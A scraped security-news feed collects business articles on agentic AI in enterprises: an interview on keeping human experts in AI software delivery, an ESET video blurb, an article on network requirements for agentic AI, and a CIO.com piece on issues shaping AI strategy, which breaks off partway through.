<p class="wp-block-paragraph"><strong>What does agentic AI delivery look like?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.</p>



<p class="wp-block-paragraph">“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”</p>



<p class="wp-block-paragraph"><strong>Where do humans stay in the loop once agents are doing the work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.</p>



<p class="wp-block-paragraph">“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.</p>



<p class="wp-block-paragraph">“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“</p>



<p class="wp-block-paragraph"><strong>Why not just put one do-everything person in charge of AI and agents?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.</p>



<p class="wp-block-paragraph">“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.</p>



<p class="wp-block-paragraph">“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“</p>



<p class="wp-block-paragraph"><strong>What about AI in your sector do you think is overhyped?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.</p>



<p class="wp-block-paragraph">“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.</p>



<p class="wp-block-paragraph">“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.</p>



<p class="wp-block-paragraph">The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. </p>



<p class="wp-block-paragraph">“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “The hype can be summed up in a single phrase: <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">vibe coding</a>. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“</p>



<p class="wp-block-paragraph"><strong>When you engage clients at different levels of AI maturity, how do you get them to a understand what works?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.</p>



<p class="wp-block-paragraph">“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.</p>



<p class="wp-block-paragraph">“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“</p>



<p class="wp-block-paragraph"><strong>AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’</p>



<p class="wp-block-paragraph">“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“</p>



<p class="wp-block-paragraph"><strong>Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’</p>



<p class="wp-block-paragraph">“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.</p>



<p class="wp-block-paragraph">“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“</p>



<p class="wp-block-paragraph"><strong>How has the profile of the people you and others hire changed with this agentic process?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.</p>



<p class="wp-block-paragraph">“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.</p>



<p class="wp-block-paragraph">“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“</p>



<p class="wp-block-paragraph"><strong>What about governance? Who’s keeping AI delivery and its costs under control?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“</p>



<p class="wp-block-paragraph"><strong>Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. </p>



<p class="wp-block-paragraph">“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Independence, Trust & AI: The ESET Story]]></title>
<description><![CDATA[Author: ESET - Bewertung: 0x - Views:49 At ESET, cybersecurity isn’t just about reacting to threats, it’s about understanding them, learning from them, and staying ahead of them. For nearly 40 years, we’ve built our expertise on independence, long-term thinking, and deep global insight.

From pro...]]></description>
<link>https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680895/it-security-video/independence-trust-ai-the-eset-story/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: ESET - Bewertung: 0x - Views:49 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LJJB3Kvyd2o?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>At ESET, cybersecurity isn’t just about reacting to threats, it’s about understanding them, learning from them, and staying ahead of them. For nearly 40 years, we’ve built our expertise on independence, long-term thinking, and deep global insight.<br />
<br />
From proprietary technology developed in-house to real-time telemetry that gives us a front-row seat to the world’s most complex cyber challenges, we believe in one principle above all: you can’t protect what you don’t truly understand.<br />
<br />
In this video, our founders and experts share what makes ESET different:<br />
• Why independence is critical to cybersecurity integrity<br />
• How we train and use AI responsibly<br />
• What decades of threat intelligence have taught us<br />
• Why trust is built over years not moments<br />
• How we balance innovation with responsibility<br />
<br />
We don’t rush decisions. We don’t follow trends blindly. We build solutions that last guided by values that outlast change.<br />
<br />
Connect with us on: https://www.eset.com/ https://www.facebook.com/eset https://www.linkedin.com/company/eset/  https://www.instagram.com/eset/ https://x.com/ESET<br/></p>]]></content:encoded>
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<title><![CDATA[heise-Angebot: Machine Learning mit Python – KI und Deep Learning in 5 Sessions erklärt]]></title>
<description><![CDATA[Ab dem 26.08. lernen Sie in fünf Sessions künstliche Intelligenz zu entwickeln: Machine Learning, neuronale Netze und Deep Learning – alles effizient in Python.]]></description>
<link>https://tsecurity.de/de/3680826/it-nachrichten/heise-angebot-machine-learning-mit-python-ki-und-deep-learning-in-5-sessions-erklaert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680826/it-nachrichten/heise-angebot-machine-learning-mit-python-ki-und-deep-learning-in-5-sessions-erklaert/</guid>
<pubDate>Mon, 20 Jul 2026 12:18:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
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<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
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<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



